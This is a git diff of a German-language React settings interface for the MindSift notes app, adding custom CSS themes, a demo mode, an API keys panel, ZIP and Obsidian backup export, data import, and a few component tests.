<div className="grid grid-cols-1 sm:grid-cols-2 gap-3">
|
<div className="grid grid-cols-1 sm:grid-cols-2 gap-3">
|
||||||
{AVAILABLE_THEMES.map((t) => {
|
{themes.map((t) => {
|
||||||
const isSelected = activeTheme === t.id;
|
const isSelected = activeTheme === t.id;
|
||||||
|
const custom = customThemes.find((c) => customThemeId(c) === t.id);
|
||||||
return (
|
return (
|
||||||
|
<div key={t.id} className="flex flex-col">
|
||||||
<button
|
<button
|
||||||
key={t.id}
|
|
||||||
type="button"
|
type="button"
|
||||||
onClick={() => onThemeChange(t.id)}
|
onClick={() => onThemeChange(t.id)}
|
||||||
className={`p-4 text-left border transition-all flex flex-col justify-between gap-3 ${
|
className={`flex-1 p-4 text-left border transition-all flex flex-col justify-between gap-3 ${
|
||||||
isSelected
|
isSelected
|
||||||
? 'bg-canvas border-accent shadow-sm'
|
? 'bg-canvas border-accent shadow-sm'
|
||||||
: 'bg-canvas border-border hover:border-strong'
|
: 'bg-canvas border-border hover:border-strong'
|
||||||
@@ -654,23 +839,130 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
|||||||
<code className="text-[10px] font-mono text-faint">{t.file}</code>
|
<code className="text-[10px] font-mono text-faint">{t.file}</code>
|
||||||
</div>
|
</div>
|
||||||
</button>
|
</button>
|
||||||
|
{custom && (
|
||||||
|
<div className="flex items-center justify-end gap-1.5 px-2 py-1.5 border border-t-0 border-border bg-canvas">
|
||||||
|
{deletingThemeId === custom.id ? (
|
||||||
|
<>
|
||||||
|
<span className="flex-1 text-[11px] text-muted">Theme wirklich löschen?</span>
|
||||||
|
<button onClick={() => handleDeleteTheme(custom)} className="btn-primary h-7 px-2.5 text-[11px]">
|
||||||
|
Löschen
|
||||||
|
</button>
|
||||||
|
<button onClick={() => setDeletingThemeId(null)} className="btn-action h-7 px-2 text-[11px]">
|
||||||
|
Abbrechen
|
||||||
|
</button>
|
||||||
|
</>
|
||||||
|
) : (
|
||||||
|
<>
|
||||||
|
<button onClick={() => handleEditTheme(custom)} className="btn-icon" title="Theme bearbeiten">
|
||||||
|
<Pencil className="w-3.5 h-3.5" />
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
onClick={() => setDeletingThemeId(custom.id)}
|
||||||
|
className="btn-icon btn-icon-danger"
|
||||||
|
title="Theme löschen"
|
||||||
|
>
|
||||||
|
<Trash2 className="w-3.5 h-3.5" />
|
||||||
|
</button>
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
);
|
);
|
||||||
})}
|
})}
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div className="p-3.5 bg-canvas border border-border space-y-1.5">
|
{/* Custom theme: upload or paste CSS, based on the template */}
|
||||||
<p className="font-semibold text-main">Eigenes Theme anpassen oder hinzufügen:</p>
|
<form onSubmit={handleSaveTheme} className="p-4 bg-canvas border border-border space-y-3">
|
||||||
|
<div className="flex flex-wrap items-center justify-between gap-2">
|
||||||
|
<p className="font-semibold text-main">
|
||||||
|
{themeEditId ? 'Eigenes Theme bearbeiten' : 'Eigenes Theme hinzufügen'}
|
||||||
|
</p>
|
||||||
|
<div className="flex flex-wrap gap-1.5">
|
||||||
|
<button type="button" onClick={handleDownloadTemplate} className="btn-action h-7 px-2 text-[11px] flex items-center gap-1">
|
||||||
|
<Download className="w-3 h-3" />
|
||||||
|
<span>Vorlage herunterladen</span>
|
||||||
|
</button>
|
||||||
|
<button type="button" onClick={handleCopyTemplate} className="btn-action h-7 px-2 text-[11px] flex items-center gap-1">
|
||||||
|
<Copy className="w-3 h-3" />
|
||||||
|
<span>Vorlage kopieren</span>
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={() => setThemeCss(themeTemplateCss)}
|
||||||
|
className="btn-action h-7 px-2 text-[11px]"
|
||||||
|
>
|
||||||
|
Vorlage einfügen
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
<p className="text-muted text-[11px] leading-relaxed">
|
<p className="text-muted text-[11px] leading-relaxed">
|
||||||
Alle Theme-Dateien liegen unter{' '}
|
Ein Theme ist CSS mit 6 Blöcken: <strong>1. Akzentfarbe</strong>, <strong>2. Oberflächen</strong>,{' '}
|
||||||
<code className="font-mono text-accent">frontend/src/themes/</code> (inklusive der
|
<strong>3. Textfarben</strong>, <strong>4. Rahmen & Schatten</strong>, <strong>5. Statusfarben</strong> und{' '}
|
||||||
Kopiervorlage{' '}
|
<strong>6. Rundungen</strong>. Am einfachsten startest du mit der Vorlage und änderst die Werte. Gespeicherte
|
||||||
<code className="font-mono text-accent">theme-template.css</code>). Dort sind alle
|
Themes liegen auf dem Server und stehen dir auf allen Geräten zur Verfügung.
|
||||||
Eigenschaften in 6 Blöcken gruppiert: <strong>1. Akzentfarbe</strong>,{' '}
|
|
||||||
<strong>2. Oberflächen</strong>, <strong>3. Textfarben</strong>,{' '}
|
|
||||||
<strong>4. Rahmen & Schatten</strong>, <strong>5. Statusfarben</strong> und{' '}
|
|
||||||
<strong>6. Rundungen</strong>.
|
|
||||||
</p>
|
</p>
|
||||||
</div>
|
|
||||||
|
<div className="flex flex-col sm:flex-row gap-2">
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
value={themeName}
|
||||||
|
onChange={(e) => setThemeName(e.target.value)}
|
||||||
|
placeholder="Name, z. B. Wald"
|
||||||
|
maxLength={60}
|
||||||
|
className="flex-1 min-w-0 h-8 px-2.5 input-field"
|
||||||
|
/>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={() => themeFileRef.current?.click()}
|
||||||
|
className="btn-action h-8 px-3 text-xs flex items-center justify-center gap-1.5"
|
||||||
|
>
|
||||||
|
<Upload className="w-3.5 h-3.5" />
|
||||||
|
<span>CSS-Datei hochladen</span>
|
||||||
|
</button>
|
||||||
|
<input
|
||||||
|
ref={themeFileRef}
|
||||||
|
type="file"
|
||||||
|
accept=".css,text/css"
|
||||||
|
className="hidden"
|
||||||
|
onChange={(e) => {
|
||||||
|
handleThemeFile(e.target.files?.[0]);
|
||||||
|
e.target.value = '';
|
||||||
|
}}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<textarea
|
||||||
|
value={themeCss}
|
||||||
|
onChange={(e) => setThemeCss(e.target.value)}
|
||||||
|
placeholder=":root[data-theme="mein-theme"] { --accent-primary: #15803d; … }"
|
||||||
|
rows={10}
|
||||||
|
spellCheck={false}
|
||||||
|
className="w-full px-2.5 py-2 input-field font-mono text-[11px] leading-relaxed resize-y"
|
||||||
|
/>
|
||||||
|
|
||||||
|
{themeMsg && (
|
||||||
|
<p className={`text-[11px] ${themeMsg.type === 'ok' ? 'text-status-ok' : 'text-status-err'}`}>
|
||||||
|
{themeMsg.text}
|
||||||
|
</p>
|
||||||
|
)}
|
||||||
|
|
||||||
|
<div className="flex justify-end gap-2">
|
||||||
|
{themeEditId && (
|
||||||
|
<button type="button" onClick={resetThemeEditor} className="btn-action h-8 px-3 text-xs">
|
||||||
|
Abbrechen
|
||||||
|
</button>
|
||||||
|
)}
|
||||||
|
<button
|
||||||
|
type="submit"
|
||||||
|
disabled={savingTheme || !themeName.trim() || !themeCss.trim()}
|
||||||
|
className="btn-primary h-8 px-4 text-xs font-semibold disabled:opacity-50"
|
||||||
|
>
|
||||||
|
{savingTheme ? 'Speichere…' : 'Speichern & aktivieren'}
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
|
|
||||||
@@ -689,6 +981,13 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
|||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
{demoMode && (
|
||||||
|
<div className="flex items-center gap-2 alert-err">
|
||||||
|
<AlertCircle className="w-4 h-4 text-status-err flex-shrink-0" />
|
||||||
|
<span>In der Demo deaktiviert: Alarme und Tests werden nicht verschickt.</span>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
{alarmMsg && (
|
{alarmMsg && (
|
||||||
<div
|
<div
|
||||||
className={`flex items-center gap-2 ${
|
className={`flex items-center gap-2 ${
|
||||||
@@ -755,8 +1054,8 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
|||||||
<button
|
<button
|
||||||
type="button"
|
type="button"
|
||||||
onClick={() => handleTestChannel('email')}
|
onClick={() => handleTestChannel('email')}
|
||||||
disabled={testingChannel === 'email'}
|
disabled={demoMode || testingChannel === 'email'}
|
||||||
className="btn-action h-8 px-3 text-xs flex items-center gap-1.5 flex-shrink-0"
|
className="btn-action h-8 px-3 text-xs flex items-center gap-1.5 flex-shrink-0 disabled:opacity-40 disabled:cursor-not-allowed"
|
||||||
>
|
>
|
||||||
<Send className="w-3 h-3 text-accent" />
|
<Send className="w-3 h-3 text-accent" />
|
||||||
<span>{testingChannel === 'email' ? 'Sende…' : 'E-Mail testen'}</span>
|
<span>{testingChannel === 'email' ? 'Sende…' : 'E-Mail testen'}</span>
|
||||||
@@ -804,8 +1103,8 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
|||||||
<button
|
<button
|
||||||
type="button"
|
type="button"
|
||||||
onClick={() => handleTestChannel('discord')}
|
onClick={() => handleTestChannel('discord')}
|
||||||
disabled={testingChannel === 'discord'}
|
disabled={demoMode || testingChannel === 'discord'}
|
||||||
className="btn-action h-8 px-3 text-xs flex items-center gap-1.5 flex-shrink-0"
|
className="btn-action h-8 px-3 text-xs flex items-center gap-1.5 flex-shrink-0 disabled:opacity-40 disabled:cursor-not-allowed"
|
||||||
>
|
>
|
||||||
<Send className="w-3 h-3 text-accent" />
|
<Send className="w-3 h-3 text-accent" />
|
||||||
<span>{testingChannel === 'discord' ? 'Sende…' : 'Discord testen'}</span>
|
<span>{testingChannel === 'discord' ? 'Sende…' : 'Discord testen'}</span>
|
||||||
@@ -853,8 +1152,8 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
|||||||
<button
|
<button
|
||||||
type="button"
|
type="button"
|
||||||
onClick={() => handleTestChannel('webhook')}
|
onClick={() => handleTestChannel('webhook')}
|
||||||
disabled={testingChannel === 'webhook'}
|
disabled={demoMode || testingChannel === 'webhook'}
|
||||||
className="btn-action h-8 px-3 text-xs flex items-center gap-1.5 flex-shrink-0"
|
className="btn-action h-8 px-3 text-xs flex items-center gap-1.5 flex-shrink-0 disabled:opacity-40 disabled:cursor-not-allowed"
|
||||||
>
|
>
|
||||||
<Send className="w-3 h-3 text-accent" />
|
<Send className="w-3 h-3 text-accent" />
|
||||||
<span>{testingChannel === 'webhook' ? 'Sende…' : 'Webhook testen'}</span>
|
<span>{testingChannel === 'webhook' ? 'Sende…' : 'Webhook testen'}</span>
|
||||||
@@ -903,130 +1202,129 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
|||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{/* Create API Key */}
|
<ApiKeysPanel />
|
||||||
<form onSubmit={handleCreateAPIKey} className="flex flex-col sm:flex-row gap-2">
|
|
||||||
<input
|
|
||||||
type="text"
|
|
||||||
value={newKeyName}
|
|
||||||
onChange={(e) => setNewKeyName(e.target.value)}
|
|
||||||
placeholder="Bezeichnung des Schlüssels (z.B. Proxmox Monitoring, Discord-Forwarder)…"
|
|
||||||
className="flex-1 h-9 px-3 input-field"
|
|
||||||
/>
|
|
||||||
<button
|
|
||||||
type="submit"
|
|
||||||
className="btn-primary h-9 px-4 text-xs font-semibold flex items-center justify-center gap-1.5"
|
|
||||||
>
|
|
||||||
<Plus className="w-3.5 h-3.5" />
|
|
||||||
<span>Neuen API-Key erzeugen</span>
|
|
||||||
</button>
|
|
||||||
</form>
|
|
||||||
|
|
||||||
{newlyCreatedKey && (
|
<div className="pt-4 border-t border-border">
|
||||||
<div className="p-3 bg-accent-dim border border-accent flex flex-col sm:flex-row sm:items-center justify-between gap-2">
|
<ServerBackupsCard />
|
||||||
<div className="min-w-0">
|
|
||||||
<p className="text-[11px] text-accent font-bold">
|
|
||||||
Neuer API-Schlüssel erstellt (bitte jetzt kopieren, wird nur einmal im
|
|
||||||
Klartext angezeigt):
|
|
||||||
</p>
|
|
||||||
<code className="text-xs font-mono text-main break-all">{newlyCreatedKey}</code>
|
|
||||||
</div>
|
|
||||||
<button
|
|
||||||
onClick={() => handleCopy(newlyCreatedKey, 'key')}
|
|
||||||
className="btn-primary h-8 px-3 text-xs flex-shrink-0"
|
|
||||||
>
|
|
||||||
{copiedLabel === 'key' ? 'Kopiert!' : 'Key kopieren'}
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
)}
|
|
||||||
|
|
||||||
{/* Existing Keys List */}
|
|
||||||
<div className="border border-border divide-y divide-border bg-canvas">
|
|
||||||
{apiKeys.length === 0 ? (
|
|
||||||
<div className="p-4 text-center text-faint">
|
|
||||||
Noch keine persönlichen API-Schlüssel vorhanden.
|
|
||||||
</div>
|
|
||||||
) : (
|
|
||||||
apiKeys.map((k) => (
|
|
||||||
<div key={k.id} className="p-3 flex items-center justify-between gap-3">
|
|
||||||
<div>
|
|
||||||
<p className="font-semibold text-main">{k.name}</p>
|
|
||||||
<p className="text-[11px] text-faint font-mono">
|
|
||||||
Präfix: {k.keyPrefix}•••••••• · Erstellt:{' '}
|
|
||||||
{new Date(k.createdAt).toLocaleDateString()}
|
|
||||||
</p>
|
|
||||||
</div>
|
|
||||||
<button
|
|
||||||
onClick={() => handleDeleteAPIKey(k.id)}
|
|
||||||
className="btn-icon btn-icon-danger"
|
|
||||||
title="Schlüssel widerrufen"
|
|
||||||
>
|
|
||||||
<Trash2 className="w-3.5 h-3.5" />
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
))
|
|
||||||
)}
|
|
||||||
</div>
|
|
||||||
|
|
||||||
{/* Curl Examples */}
|
|
||||||
<div className="space-y-4">
|
|
||||||
<div className="space-y-1.5">
|
|
||||||
<div className="flex items-center justify-between">
|
|
||||||
<span className="font-semibold text-muted flex items-center gap-1.5">
|
|
||||||
<Terminal className="w-3.5 h-3.5 text-accent" />
|
|
||||||
<span>Curl: In Triage-Deck einspeisen (erhält Webhook-Badge)</span>
|
|
||||||
</span>
|
|
||||||
<button
|
|
||||||
onClick={() => handleCopy(curlTriageExample, 'curl-triage')}
|
|
||||||
className="btn-action h-7 px-2.5 text-[11px]"
|
|
||||||
>
|
|
||||||
{copiedLabel === 'curl-triage' ? 'Kopiert!' : 'Befehl kopieren'}
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
<pre className="p-3 code-block text-[11px] font-mono overflow-x-auto whitespace-pre">
|
|
||||||
{curlTriageExample}
|
|
||||||
</pre>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div className="space-y-1.5">
|
|
||||||
<div className="flex items-center justify-between">
|
|
||||||
<span className="font-semibold text-muted flex items-center gap-1.5">
|
|
||||||
<Terminal className="w-3.5 h-3.5 text-accent" />
|
|
||||||
<span>Curl: Direkt als Aufgabe anlegen</span>
|
|
||||||
</span>
|
|
||||||
<button
|
|
||||||
onClick={() => handleCopy(curlTaskExample, 'curl-task')}
|
|
||||||
className="btn-action h-7 px-2.5 text-[11px]"
|
|
||||||
>
|
|
||||||
{copiedLabel === 'curl-task' ? 'Kopiert!' : 'Befehl kopieren'}
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
<pre className="p-3 code-block text-[11px] font-mono overflow-x-auto whitespace-pre">
|
|
||||||
{curlTaskExample}
|
|
||||||
</pre>
|
|
||||||
</div>
|
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{/* Full Data Backup */}
|
{/* Full Data Backup */}
|
||||||
<div className="pt-4 border-t border-border flex flex-col sm:flex-row sm:items-center justify-between gap-3">
|
<div className="pt-4 border-t border-border flex flex-col sm:flex-row sm:items-center justify-between gap-3">
|
||||||
<div>
|
<div>
|
||||||
<h3 className="font-bold text-main">Vollständiger Daten-Export (JSON Backup)</h3>
|
<h3 className="font-bold text-main">Vollständiges Backup (.zip)</h3>
|
||||||
<p className="text-muted text-[11px]">
|
<p className="text-muted text-[11px]">
|
||||||
Lädt alle deine Gedanken, Aufgaben, Markdown-Dokumente und Listen als portable
|
Alle deine Gedanken, Aufgaben, Notizen und Listen als JSON, gepackt in eine ZIP-Datei. Über
|
||||||
JSON-Datei herunter.
|
„MindSift-Daten importieren“ lässt es sich vollständig zurückspielen.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
<button
|
<button
|
||||||
onClick={handleExportData}
|
onClick={handleExportData}
|
||||||
className="btn-action h-9 px-4 text-xs flex items-center gap-2 flex-shrink-0"
|
disabled={exportingBackup}
|
||||||
|
className="btn-action h-11 sm:h-9 px-4 text-xs flex items-center justify-center gap-2 flex-shrink-0 disabled:opacity-50"
|
||||||
>
|
>
|
||||||
<Download className="w-3.5 h-3.5 text-accent" />
|
<Download className="w-3.5 h-3.5 text-accent" />
|
||||||
<span>Backup herunterladen</span>
|
<span>{exportingBackup ? 'Wird erstellt…' : 'Backup herunterladen'}</span>
|
||||||
</button>
|
</button>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
{/* Obsidian-compatible Markdown vault */}
|
||||||
|
<div className="pt-4 border-t border-border flex flex-col sm:flex-row sm:items-center justify-between gap-3">
|
||||||
|
<div>
|
||||||
|
<h3 className="font-bold text-main">Markdown-Archiv für Obsidian (.zip)</h3>
|
||||||
|
<p className="text-muted text-[11px]">
|
||||||
|
Alle Notizen als <code className="font-mono">.md</code>-Dateien in deiner Ordnerstruktur (mit Titel, Tags und
|
||||||
|
Datum im Kopf), Aufgaben je Liste unter <code className="font-mono">Aufgaben/</code> im Format des
|
||||||
|
Obsidian-Tasks-Plugins, Listen unter <code className="font-mono">Listen/</code>. Mit dir geteilte Notizen sind
|
||||||
|
dabei.
|
||||||
|
</p>
|
||||||
|
{vaultError && <p className="text-[11px] text-status-err mt-1">{vaultError}</p>}
|
||||||
|
</div>
|
||||||
|
<button
|
||||||
|
onClick={handleExportVault}
|
||||||
|
disabled={exportingVault}
|
||||||
|
className="btn-action h-11 sm:h-9 px-4 text-xs flex items-center justify-center gap-2 flex-shrink-0 disabled:opacity-50"
|
||||||
|
>
|
||||||
|
<Download className="w-3.5 h-3.5 text-accent" />
|
||||||
|
<span>{exportingVault ? 'Wird erstellt…' : 'Markdown-Archiv herunterladen'}</span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* Import: two separate paths, never guessed from the file */}
|
||||||
|
<div className="pt-4 border-t border-border space-y-3">
|
||||||
|
<div>
|
||||||
|
<h3 className="font-bold text-main">Daten importieren</h3>
|
||||||
|
<p className="text-muted text-[11px]">
|
||||||
|
Ein Import legt alles neu an und ändert nichts Bestehendes. Vor dem Import siehst du, was angelegt wird.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<div className="grid grid-cols-1 lg:grid-cols-2 gap-3">
|
||||||
|
<ImportCard
|
||||||
|
source="mindsift"
|
||||||
|
title="MindSift-Daten"
|
||||||
|
accept=".json,.zip,application/json,application/zip"
|
||||||
|
description={
|
||||||
|
<>
|
||||||
|
Eigenes Backup zurückspielen: JSON-Backup (<code className="font-mono">.json</code>) oder Markdown-Archiv
|
||||||
|
(<code className="font-mono">.zip</code>). Notizen kommen in ihre Ordner, Aufgabenlisten mit Unteraufgaben,
|
||||||
|
Fälligkeiten und Prioritäten sowie Listen werden wiederhergestellt.
|
||||||
|
</>
|
||||||
|
}
|
||||||
|
/>
|
||||||
|
<ImportCard
|
||||||
|
source="obsidian"
|
||||||
|
title="Obsidian-Vault"
|
||||||
|
accept=".zip,application/zip"
|
||||||
|
description={
|
||||||
|
<>
|
||||||
|
Vault als <code className="font-mono">.zip</code>. Alle Notizen landen in einem eigenen Ordner mit dem Namen
|
||||||
|
des Vaults, Unterordner bleiben erhalten. Checkboxen bleiben Checkboxen in der Notiz, Frontmatter-Tags werden zu
|
||||||
|
#Hashtags. Bilder und andere Anhänge werden übersprungen.
|
||||||
|
</>
|
||||||
|
}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
{/* Footer: legal notices of this instance and project info */}
|
||||||
|
<LegalLinks legal={legal} className="pt-4 border-t border-border">
|
||||||
|
<button type="button" onClick={() => setShowAbout(true)} className="hover:text-main underline-offset-2 hover:underline">
|
||||||
|
Über MindSift
|
||||||
|
</button>
|
||||||
|
</LegalLinks>
|
||||||
|
{showAbout && <AboutModal onClose={() => setShowAbout(false)} />}
|
||||||
|
{dangerAction && (
|
||||||
|
<FormSheet
|
||||||
|
title={dangerAction === 'account' ? 'Konto unwiderruflich löschen' : 'Alle eigenen Daten löschen'}
|
||||||
|
icon={<AlertCircle className="w-4 h-4 text-status-err" />}
|
||||||
|
onClose={() => setDangerAction(null)}
|
||||||
|
onSubmit={handleDangerSubmit}
|
||||||
|
submitLabel={dangerAction === 'account' ? 'Konto löschen' : 'Daten löschen'}
|
||||||
|
danger
|
||||||
|
busy={dangerBusy || !dangerPassword}
|
||||||
|
>
|
||||||
|
<p className="text-xs text-muted">
|
||||||
|
{dangerAction === 'account'
|
||||||
|
? 'Dein Konto und alle deine Daten werden endgültig gelöscht. Das lässt sich nicht rückgängig machen.'
|
||||||
|
: 'Alle deine Notizen, Ordner, Aufgaben, Gedanken und Listen werden endgültig gelöscht. Lade vorher ein Backup herunter, wenn du sie behalten willst.'}
|
||||||
|
</p>
|
||||||
|
<label className="block text-xs text-muted">
|
||||||
|
Zur Bestätigung dein Passwort
|
||||||
|
<input
|
||||||
|
type="password"
|
||||||
|
autoFocus
|
||||||
|
autoComplete="current-password"
|
||||||
|
value={dangerPassword}
|
||||||
|
onChange={(e) => setDangerPassword(e.target.value)}
|
||||||
|
className="mt-1 input-field w-full h-11 sm:h-8 px-2.5 text-base sm:text-xs"
|
||||||
|
/>
|
||||||
|
</label>
|
||||||
|
{dangerError && <p className="text-[11px] text-status-err">{dangerError}</p>}
|
||||||
|
</FormSheet>
|
||||||
|
)}
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
};
|
};
|
||||||
@@ -0,0 +1,41 @@
|
|||||||
|
import { describe, it, expect, vi, beforeEach } from 'vitest';
|
||||||
|
import { render, screen, fireEvent, act } from '@testing-library/react';
|
||||||
|
|
||||||
|
const createAPIKey = vi.fn(async () => ({ id: 'k1', userId: 'u', name: 'HA', keyPrefix: 'mindsift_sec_ab', scopes: 'webhook:triage,webhook:list', createdAt: '' }));
|
||||||
|
vi.mock('../../../lib/api', () => ({
|
||||||
|
api: {
|
||||||
|
getAPIKeys: vi.fn(async () => [
|
||||||
|
{ id: 'k0', userId: 'u', name: 'Rauchmelder', keyPrefix: 'mindsift_sec_xy', scopes: 'webhook:triage,webhook:task', createdAt: '' },
|
||||||
|
]),
|
||||||
|
getAllLists: vi.fn(async () => []),
|
||||||
|
getTaskLists: vi.fn(async () => []),
|
||||||
|
createAPIKey: (...args: unknown[]) => createAPIKey(...(args as [])),
|
||||||
|
deleteAPIKey: vi.fn(),
|
||||||
|
testWebhookIngest: vi.fn(),
|
||||||
|
},
|
||||||
|
triggerHaptic: vi.fn(),
|
||||||
|
}));
|
||||||
|
|
||||||
|
import { ApiKeysPanel } from '../ApiKeysPanel';
|
||||||
|
|
||||||
|
describe('ApiKeysPanel', () => {
|
||||||
|
beforeEach(() => createAPIKey.mockClear());
|
||||||
|
|
||||||
|
it('shows the scopes of existing keys as badges', async () => {
|
||||||
|
render(<ApiKeysPanel />);
|
||||||
|
expect(await screen.findByText('Rauchmelder')).toBeTruthy();
|
||||||
|
expect(screen.getAllByText('📋 Aufgaben').length).toBeGreaterThan(1); // chip + badge
|
||||||
|
});
|
||||||
|
|
||||||
|
it('creates a key with the chosen scopes and never without one', async () => {
|
||||||
|
render(<ApiKeysPanel />);
|
||||||
|
const triage = screen.getByRole('checkbox', { name: /Triage/ });
|
||||||
|
fireEvent.click(triage); // last remaining scope cannot be switched off
|
||||||
|
expect(triage.getAttribute('aria-checked')).toBe('true');
|
||||||
|
fireEvent.click(screen.getByRole('checkbox', { name: /Listeneinträge/ }));
|
||||||
|
await act(async () => {
|
||||||
|
fireEvent.click(screen.getByRole('button', { name: /API-Key erzeugen/ }));
|
||||||
|
});
|
||||||
|
expect(createAPIKey).toHaveBeenCalledWith('Home Assistant', ['webhook:triage', 'webhook:list']);
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -0,0 +1,24 @@
|
|||||||
|
import { describe, expect, it } from 'vitest';
|
||||||
|
import { describeDevice } from '../SessionsPanel';
|
||||||
|
|
||||||
|
describe('describeDevice', () => {
|
||||||
|
it('names browser and system', () => {
|
||||||
|
expect(
|
||||||
|
describeDevice('Mozilla/5.0 (X11; Linux x86_64; rv:130.0) Gecko/20100101 Firefox/130.0')
|
||||||
|
).toEqual({ label: 'Firefox auf Linux', mobile: false });
|
||||||
|
expect(
|
||||||
|
describeDevice(
|
||||||
|
'Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1'
|
||||||
|
)
|
||||||
|
).toEqual({ label: 'Safari auf iOS', mobile: true });
|
||||||
|
expect(
|
||||||
|
describeDevice(
|
||||||
|
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0 Safari/537.36 Edg/130.0'
|
||||||
|
).label
|
||||||
|
).toBe('Edge auf Windows');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('falls back for empty agents', () => {
|
||||||
|
expect(describeDevice('').label).toBe('Unbekanntes Gerät');
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -13,7 +13,7 @@ import {
|
|||||||
LogOut,
|
LogOut,
|
||||||
} from 'lucide-react';
|
} from 'lucide-react';
|
||||||
import { Team, User } from '../../lib/types';
|
import { Team, User } from '../../lib/types';
|
||||||
import { api, triggerHaptic } from '../../lib/api';
|
import { api, isSharingDisabled, triggerHaptic } from '../../lib/api';
|
||||||
import { UserAutocomplete } from '../UserAutocomplete';
|
import { UserAutocomplete } from '../UserAutocomplete';
|
||||||
import { UserAvatar } from '../../components/UserAvatar';
|
import { UserAvatar } from '../../components/UserAvatar';
|
||||||
|
|
||||||
@@ -187,6 +187,18 @@ export const GroupsView: React.FC<GroupsViewProps> = ({ currentUser, onBack }) =
|
|||||||
!managedTeams.some((mt) => mt.id === t.id)
|
!managedTeams.some((mt) => mt.id === t.id)
|
||||||
);
|
);
|
||||||
|
|
||||||
|
if (isSharingDisabled()) {
|
||||||
|
return (
|
||||||
|
<div className="w-full space-y-3">
|
||||||
|
<button onClick={onBack} className="btn-action h-8 px-2.5 text-xs flex items-center gap-1.5 cursor-pointer">
|
||||||
|
<ArrowLeft className="w-3.5 h-3.5" />
|
||||||
|
<span>Zurück</span>
|
||||||
|
</button>
|
||||||
|
<p className="text-xs text-muted">Gruppen sind auf diesem Server deaktiviert (Sichtbarkeits-Modus „Privat“).</p>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<div className="w-full space-y-5">
|
<div className="w-full space-y-5">
|
||||||
{/* Page Header */}
|
{/* Page Header */}
|
||||||
@@ -203,13 +215,13 @@ export const GroupsView: React.FC<GroupsViewProps> = ({ currentUser, onBack }) =
|
|||||||
<div>
|
<div>
|
||||||
<h1 className="text-base font-bold text-main tracking-tight flex items-center gap-2">
|
<h1 className="text-base font-bold text-main tracking-tight flex items-center gap-2">
|
||||||
<Users className="w-4 h-4 text-accent" />
|
<Users className="w-4 h-4 text-accent" />
|
||||||
<span>Gruppen & Teams</span>
|
<span>Gruppen</span>
|
||||||
<span className="text-xs px-2 py-0.5 rounded-full bg-panel-elevated text-muted border border-border">
|
<span className="text-xs px-2 py-0.5 rounded-full bg-panel-elevated text-muted border border-border">
|
||||||
{teams.length}
|
{teams.length}
|
||||||
</span>
|
</span>
|
||||||
</h1>
|
</h1>
|
||||||
<p className="text-xs text-muted mt-0.5">
|
<p className="text-xs text-muted mt-0.5">
|
||||||
Erstelle und verwalte Gruppen (z. B. Familie, WG oder Projektteams) für gemeinsame Notizen, Aufgaben und Listen.
|
Erstelle Gruppen (z. B. Familie, WG oder Projektteam) aus Personen, die du sehen kannst, und teile Notizen, Aufgaben und Listen mit allen auf einmal.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -8,7 +8,6 @@ import {
|
|||||||
RotateCcw,
|
RotateCcw,
|
||||||
Check,
|
Check,
|
||||||
Columns,
|
Columns,
|
||||||
Layers,
|
|
||||||
} from 'lucide-react';
|
} from 'lucide-react';
|
||||||
import { KanbanColumn } from '../../lib/types';
|
import { KanbanColumn } from '../../lib/types';
|
||||||
import { triggerHaptic } from '../../lib/api';
|
import { triggerHaptic } from '../../lib/api';
|
||||||
@@ -28,15 +27,17 @@ export const DEFAULT_KANBAN_COLUMNS: KanbanColumn[] = [
|
|||||||
{ id: 'done', name: 'Erledigt', isDone: true, color: 'emerald' },
|
{ id: 'done', name: 'Erledigt', isDone: true, color: 'emerald' },
|
||||||
];
|
];
|
||||||
|
|
||||||
export const ManageColumnsModal: React.FC<ManageColumnsModalProps> = ({
|
